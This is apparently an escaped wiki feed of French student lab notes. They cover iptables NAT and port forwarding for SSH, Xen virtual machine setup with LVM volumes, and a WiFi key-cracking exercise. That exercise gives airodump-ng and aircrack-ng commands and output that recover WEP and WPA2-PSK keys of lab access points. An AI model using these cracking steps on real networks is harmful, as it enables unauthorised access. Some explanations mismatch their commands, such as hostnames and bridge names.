==== Lire un fichier iptables &amp;lt;code&amp;gt;/etc/iptables/rules.v4&amp;lt;/code&amp;gt; ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
COMMIT&lt;br /&gt;
# Completed on Thu Jan 22 18:31:33 2026&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
*nat&lt;br /&gt;
:PREROUTING ACCEPT [0:0]&lt;br /&gt;
:INPUT ACCEPT [0:0]&lt;br /&gt;
:OUTPUT ACCEPT [0:0]&lt;br /&gt;
:POSTROUTING ACCEPT [0:0]&lt;br /&gt;
...&lt;br /&gt;
COMMIT&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''Les chaînes (ultra important)'''&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : NAT fait ''avant'' que Linux décide où router le paquet  → typiquement '''DNAT''' (port forwarding)&lt;br /&gt;
* '''POSTROUTING''' : NAT fait ''juste avant'' que le paquet sorte sur une interface  → typiquement '''SNAT/MASQUERADE''' (NAT sortant)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22&lt;br /&gt;
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ça veut dire :&lt;br /&gt;
&lt;br /&gt;
* Si quelqu’un sur Internet fait :&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
** &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → on rediriges vers &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt; (SSH)&lt;br /&gt;
&lt;br /&gt;
Donc on exposes plusieurs SSH internes via '''un seul serveur public''', en jouant sur les ports.&lt;br /&gt;
&lt;br /&gt;
Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le '''forwarding''' soit autorisé (et éventuellement règles &amp;lt;code&amp;gt;filter&amp;lt;/code&amp;gt; si on a une politique restrictive). Dans ton cas, on n’as montré que la table &amp;lt;code&amp;gt;nat&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE&lt;br /&gt;
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Traduction :&lt;br /&gt;
&lt;br /&gt;
* Tout paquet qui '''sort''' et dont la source est dans &amp;lt;code&amp;gt;192.168.3.0/29&amp;lt;/code&amp;gt; verra son IP source remplacée par l’IP publique du mandataire.&lt;br /&gt;
* Pareil pour &amp;lt;code&amp;gt;10.60.0.0/16&amp;lt;/code&amp;gt; (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)&lt;br /&gt;
&lt;br /&gt;
==== Autre amélioration très recommandée : préciser l’interface de sortie ====&lt;br /&gt;
&lt;br /&gt;
Sans &amp;lt;code&amp;gt;-o eth1&amp;lt;/code&amp;gt;, on peut NATer des flux que on ne voulais pas NATer si on a plusieurs sorties. La version “propre” :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Mais dans notre TP, il n'y pas besoin de ça&lt;br /&gt;
&lt;br /&gt;
==== Explication de PREROUTING et POSTROUTING ====&lt;br /&gt;
&lt;br /&gt;
===== PREROUTING : “avant la décision de routage” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Dès qu’un paquet '''entre''' sur la machine (depuis une interface réseau), ''avant'' que Linux décide s’il doit :&lt;br /&gt;
&lt;br /&gt;
* le garder pour lui (INPUT),&lt;br /&gt;
* ou le renvoyer vers un autre réseau (FORWARD).&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''DNAT''' (redirection de destination), parce que on veux changer la destination '''avant''' que le kernel choisisse où l’envoyer.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (port forwarding)'''&lt;br /&gt;
&lt;br /&gt;
Quelqu’un sur Internet contacte :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ta règle en PREROUTING fait :&lt;br /&gt;
&lt;br /&gt;
* destination devient &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite seulement, Linux dit :&lt;br /&gt;
&lt;br /&gt;
“ok, ça doit partir vers le réseau interne” → il route vers &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”&lt;br /&gt;
&lt;br /&gt;
===== POSTROUTING : “juste avant de sortir” =====&lt;br /&gt;
'''Quand ?'''&lt;br /&gt;
&lt;br /&gt;
Après que Linux a déjà décidé '''par où''' le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.&lt;br /&gt;
&lt;br /&gt;
'''À quoi ça sert ?'''&lt;br /&gt;
&lt;br /&gt;
C’est l’endroit parfait pour faire du '''SNAT / MASQUERADE''' (changer l’adresse source), parce que :&lt;br /&gt;
&lt;br /&gt;
* on sais maintenant exactement sur quelle interface ça sort,&lt;br /&gt;
* et donc quelle IP source externe utiliser.&lt;br /&gt;
&lt;br /&gt;
'''Exemple concret (NAT sortant / masquerade)'''&lt;br /&gt;
&lt;br /&gt;
Une VM interne envoie vers Internet :&lt;br /&gt;
&lt;br /&gt;
* source &amp;lt;code&amp;gt;192.168.3.2&amp;lt;/code&amp;gt; → destination &amp;lt;code&amp;gt;1.2.3.4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En POSTROUTING, on remplaces la source :&lt;br /&gt;
&lt;br /&gt;
* source devient &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt; (IP publique du mandataire)&lt;br /&gt;
&lt;br /&gt;
Comme ça, Internet répond à &amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;, et le mandataire retransmet à la VM grâce à conntrack.&lt;br /&gt;
&lt;br /&gt;
POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peut encore modifier l’étiquette avant qu’il parte.”&lt;br /&gt;
&lt;br /&gt;
===== Résumé =====&lt;br /&gt;
&lt;br /&gt;
* '''PREROUTING''' : avant le routage → on change surtout la '''destination''' (DNAT / redirections de ports)&lt;br /&gt;
* '''POSTROUTING''' : après le routage → on change surtout la '''source''' (SNAT / MASQUERADE)&lt;br /&gt;
&lt;br /&gt;
= Serveur SSH et Fail2ban =&lt;br /&gt;
&lt;br /&gt;
=== Objectif : se connecter en SSH depuis l’extérieur ===&lt;br /&gt;
Dans notre archi :&lt;br /&gt;
&lt;br /&gt;
* Les '''VM services''' sont en IPv4 privé (&amp;lt;code&amp;gt;192.168.3.x&amp;lt;/code&amp;gt;) → pas accessibles directement depuis Internet en IPv4.&lt;br /&gt;
* Le '''mandataire''' (Rosemonde) a une IPv4 publique (&amp;lt;code&amp;gt;193.48.57.165&amp;lt;/code&amp;gt;) → c’est lui qui reçoit les connexions externes.&lt;br /&gt;
* Donc pour SSH vers une VM service en IPv4, on fait une '''redirection de port (DNAT)''' sur Rosemonde.&lt;br /&gt;
&lt;br /&gt;
Exemple (déjà dans nos règles NAT) :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2201&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;192.168.3.2:22&amp;lt;/code&amp;gt;&lt;br /&gt;
* &amp;lt;code&amp;gt;193.48.57.165:2021&amp;lt;/code&amp;gt; → &amp;lt;code&amp;gt;192.168.3.3:22&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban pour SSH ===&lt;br /&gt;
&lt;br /&gt;
== Cassage de clé WIFI ==&lt;br /&gt;
&lt;br /&gt;
=== WEP ===&lt;br /&gt;
Sur un 1 terminal : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)&lt;br /&gt;
&lt;br /&gt;
Ce que l'on voit : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output&lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&lt;br /&gt;
04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
sur 2ème terminal :&lt;br /&gt;
&lt;br /&gt;
Une fois qu'on a 50*10³ IV on fait : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Résultat : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  KB    depth   byte(vote)&lt;br /&gt;
&lt;br /&gt;
   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) &lt;br /&gt;
&lt;br /&gt;
   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) &lt;br /&gt;
&lt;br /&gt;
   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) &lt;br /&gt;
&lt;br /&gt;
   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) &lt;br /&gt;
&lt;br /&gt;
   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) &lt;br /&gt;
&lt;br /&gt;
            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] &lt;br /&gt;
&lt;br /&gt;
   Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WPA2-PSK ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 &lt;br /&gt;
&lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap&lt;br /&gt;
&lt;br /&gt;
Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) &lt;br /&gt;
&lt;br /&gt;
     Time left: 28 minutes, 5 seconds                          66.52%&lt;br /&gt;
&lt;br /&gt;
                          KEY FOUND! [ 66689666 ]&lt;br /&gt;
&lt;br /&gt;
     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC &lt;br /&gt;
&lt;br /&gt;
                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 &lt;br /&gt;
&lt;br /&gt;
     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 &lt;br /&gt;
&lt;br /&gt;
     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pcasimir</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12400</id>
		<title>Atelier SysRes SE4 2025/2026 E1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E1&amp;diff=12400"/>
		<updated>2026-02-25T17:25:33Z</updated>

		<summary type="html">&lt;p&gt;Pcasimir : /* CRÉATION MACHINES VIRTUELLES */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== CRÉATION MACHINES VIRTUELLES ==&lt;br /&gt;
Il faut d'abord crée un &amp;quot;bridge&amp;quot; sur capbreton pour relier nos 3 machines virtuelles ensemble. Un &amp;quot;bridge&amp;quot; n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : &amp;lt;code&amp;gt;/etc/network/interfaces.d/SE42026_pcasimir_ahoudus&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Veuillez faire en sorte de ne &amp;lt;code&amp;gt;PAS&amp;lt;/code&amp;gt; modifier le fichier le fichier &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_Gercourt                                                                                                                                                      &lt;br /&gt;
iface pont_Gercourt inet manual                                                                                                                                         &lt;br /&gt;
        bridge_ports none                                                                                                                                               &lt;br /&gt;
        up ip link set $IFACE up                                                                                                                                        &lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur &amp;lt;code&amp;gt;Xen&amp;lt;/code&amp;gt;. &lt;br /&gt;
&lt;br /&gt;
Un '''hyperviseur''', c’est le logiciel qui permet de faire tourner '''plusieurs “ordinateurs virtuels” (VM)''' sur '''un seul ordinateur physique'''.&lt;br /&gt;
&lt;br /&gt;
Au lieu d’avoir '''1 machine = 1 OS''', on a '''1 machine physique = plusieurs OS''' (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM. &lt;br /&gt;
&lt;br /&gt;
Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :&lt;br /&gt;
&lt;br /&gt;
* '''CPU''' : qui a le droit d’exécuter quand (ordonnancement)&lt;br /&gt;
* '''RAM''' : qui a droit à quelle mémoire (isolation, allocation)&lt;br /&gt;
* '''Disques''' : chaque VM a “son disque” (souvent un fichier &amp;lt;code&amp;gt;.img&amp;lt;/code&amp;gt;, LVM, etc.)&lt;br /&gt;
* '''Réseau''' : chaque VM a une carte réseau virtuelle, connectée à un '''switch/bridge virtuel'''&lt;br /&gt;
* '''Isolation/Sécurité''' : une VM ne doit pas pouvoir casser les autres.&lt;br /&gt;
&lt;br /&gt;
'''Xen''', c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.&lt;br /&gt;
&lt;br /&gt;
Dans Xen, toutes les VM sont des ''domains''.&lt;br /&gt;
&lt;br /&gt;
* '''Dom0 (Domain 0)''' : la VM “chef” (privilégiée)&lt;br /&gt;
** c’est elle qui a les '''drivers matériels'''&lt;br /&gt;
** c’est elle qui '''crée / détruit / configure''' les autres VM&lt;br /&gt;
** elle gère souvent le '''réseau (bridges/VLAN)''' et le '''stockage'''&lt;br /&gt;
* '''DomU''' : les VM “normales” (invitées)&lt;br /&gt;
** elles ont des '''périphériques virtuels'''&lt;br /&gt;
** elles passent souvent par Dom0 pour accéder au hardware&lt;br /&gt;
&lt;br /&gt;
Petit schéma mental :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
         Matériel (CPU/RAM/NIC/Disques)&lt;br /&gt;
                    │&lt;br /&gt;
                   Xen&lt;br /&gt;
                    │&lt;br /&gt;
        ┌───────────┴───────────┐&lt;br /&gt;
        │                       │&lt;br /&gt;
      Dom0                 Dom1, Dom2, Dom3...&lt;br /&gt;
 (admin + drivers)      (VM Linux / OpenWRT / etc.)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Il leur faut plusieurs paramètres pour fonctionner selon nos critères.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;''' :  Commande permettant de créer une nouvelle machine virtuelle Xen&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--hostname=SE4.Merteuil&amp;lt;/code&amp;gt;''' :  Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera &amp;lt;code&amp;gt;SE4.Atreus&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dhcp&amp;lt;/code&amp;gt;''' :  Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre &amp;lt;code&amp;gt;/etc/network/interface&amp;lt;/code&amp;gt; dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--bridge=bifrost&amp;lt;/code&amp;gt;''' :  Précise l'utilisation du pont réseau nommé &amp;lt;code&amp;gt;bifrost&amp;lt;/code&amp;gt; pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dir=/usr/local/xen&amp;lt;/code&amp;gt;''' :  Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier &amp;lt;code&amp;gt;/usr/local/xen&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--size=10GB&amp;lt;/code&amp;gt;''' :  Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera &amp;lt;code&amp;gt;10 Go&amp;lt;/code&amp;gt;.&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--dist=daedalus&amp;lt;/code&amp;gt;''' :  Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle &amp;lt;code&amp;gt;daedalus&amp;lt;/code&amp;gt; pour Debian.&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;--memory=2048M&amp;lt;/code&amp;gt;''' :  Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura &amp;lt;code&amp;gt;2048 Mo&amp;lt;/code&amp;gt; (soit 2 Go) de RAM.&lt;br /&gt;
&lt;br /&gt;
=== Volumes Logiques ===&lt;br /&gt;
Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On '''sépare certains répertoires''' dans des '''volumes logiques (LVM)''' dédiés, notamment :&lt;br /&gt;
&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;''' : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)&lt;br /&gt;
* '''&amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;''' : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)&lt;br /&gt;
&lt;br /&gt;
Cette séparation a plusieurs avantages très concrets :&lt;br /&gt;
&lt;br /&gt;
* '''Meilleure gestion de l’espace disque''' : on peut dimensionner &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; indépendamment (et agrandir si besoin).&lt;br /&gt;
* '''Moins de risques''' : si &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.&lt;br /&gt;
* '''Maintenance plus simple''' : sauvegarde/restauration ciblée (ex : sauvegarder &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; sans prendre tout le système).&lt;br /&gt;
* '''Organisation propre''' : chaque VM a ses volumes clairement identifiés.&lt;br /&gt;
&lt;br /&gt;
Pour chaque VM, on crée deux volumes logiques de 10 Go :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.home virtual&lt;br /&gt;
lvcreate -L 10G -n SE4.&amp;lt;NomDeVM&amp;gt;.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;lvcreate&amp;lt;/code&amp;gt; : commande qui '''crée un volume logique'''&lt;br /&gt;
* &amp;lt;code&amp;gt;-L 10G&amp;lt;/code&amp;gt; : taille du volume (ici '''10 Go''')&lt;br /&gt;
* &amp;lt;code&amp;gt;-n &amp;lt;nom&amp;gt;&amp;lt;/code&amp;gt; : nom du volume logique (d’où le &amp;lt;code&amp;gt;SE4.&amp;lt;NomDeVM&amp;gt;.home&amp;lt;/code&amp;gt;)&lt;br /&gt;
* &amp;lt;code&amp;gt;virtual&amp;lt;/code&amp;gt; : le '''Volume Group''' dans lequel on crée le volume&lt;br /&gt;
&lt;br /&gt;
Ces volumes seront ensuite '''attachés à la VM''' comme des disques (ou partitions virtuelles), puis '''formatés''' et '''montés''' dans la VM :&lt;br /&gt;
&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.home&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt;&lt;br /&gt;
* le volume &amp;lt;code&amp;gt;.var&amp;lt;/code&amp;gt; sera monté sur &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fichier de configuration Xen ===&lt;br /&gt;
&lt;br /&gt;
==== 0) Éditer le fichier de configuration Xen de la VM (réseau + disques) ====&lt;br /&gt;
Après avoir généré une VM avec &amp;lt;code&amp;gt;xen-create-image&amp;lt;/code&amp;gt;, un '''fichier de configuration''' est créé pour cette VM (souvent un &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
C’est ce fichier qui dit à Xen :&lt;br /&gt;
&lt;br /&gt;
* quels '''disques''' (images, volumes LVM…) la VM utilise&lt;br /&gt;
* combien de RAM/vCPU&lt;br /&gt;
* et surtout quelles '''interfaces réseau virtuelles''' (VIF) elle a, et sur quels '''bridges''' elles sont branchées&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root        = '/dev/xvda2 ro'&lt;br /&gt;
disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',&lt;br /&gt;
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',&lt;br /&gt;
              ]&lt;br /&gt;
              &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Hostname                                                                                                                                                             &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
name        = 'SE4.Merteuil'                                                                                                                                            &lt;br /&gt;
                                                                                                                                                                        &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
#  Networking                                                                                                                                                           &lt;br /&gt;
#                                                                                                                                                                       &lt;br /&gt;
dhcp        = 'dhcp'                                                                                                                                                    &lt;br /&gt;
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          &lt;br /&gt;
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 1) Les VIF : cartes réseau virtuelles de la VM ====&lt;br /&gt;
Une '''VIF (Virtual Interface)''', c’est tout simplement une '''carte réseau virtuelle''' vue par la VM.&lt;br /&gt;
&lt;br /&gt;
Dans la VM, elle apparaîtra comme une interface réseau (genre &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc., selon l’OS).&lt;br /&gt;
&lt;br /&gt;
Dans Xen, chaque entrée &amp;lt;code&amp;gt;vif&amp;lt;/code&amp;gt; du fichier &amp;lt;code&amp;gt;.cfg&amp;lt;/code&amp;gt; correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces &amp;lt;code&amp;gt;eth0&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;eth1&amp;lt;/code&amp;gt;, etc. Le paramètre &amp;lt;code&amp;gt;bridge=...&amp;lt;/code&amp;gt; indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.&lt;br /&gt;
&lt;br /&gt;
===== Différence avec une machine physique =====&lt;br /&gt;
Sur un PC “réel”, on es limité :&lt;br /&gt;
&lt;br /&gt;
* par le nombre de ports Ethernet / cartes réseau dispo physiquement&lt;br /&gt;
&lt;br /&gt;
Dans une VM, pas ce souci :&lt;br /&gt;
&lt;br /&gt;
* on peut ajouter autant de VIF que on veux '''en théorie'''&lt;br /&gt;
* en pratique : on restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)&lt;br /&gt;
&lt;br /&gt;
==== 2) Ce qu’on veut dans le TP : 2 cartes réseau ====&lt;br /&gt;
Dans le cadre du TP, on te demande '''2 VIF''' :&lt;br /&gt;
&lt;br /&gt;
'''VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)'''&lt;br /&gt;
&lt;br /&gt;
* branchée sur le '''bridge''' qui relie nos '''3 machines''' (nos VM du groupe)&lt;br /&gt;
* ici : &amp;lt;code&amp;gt;pont_Gercourt&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
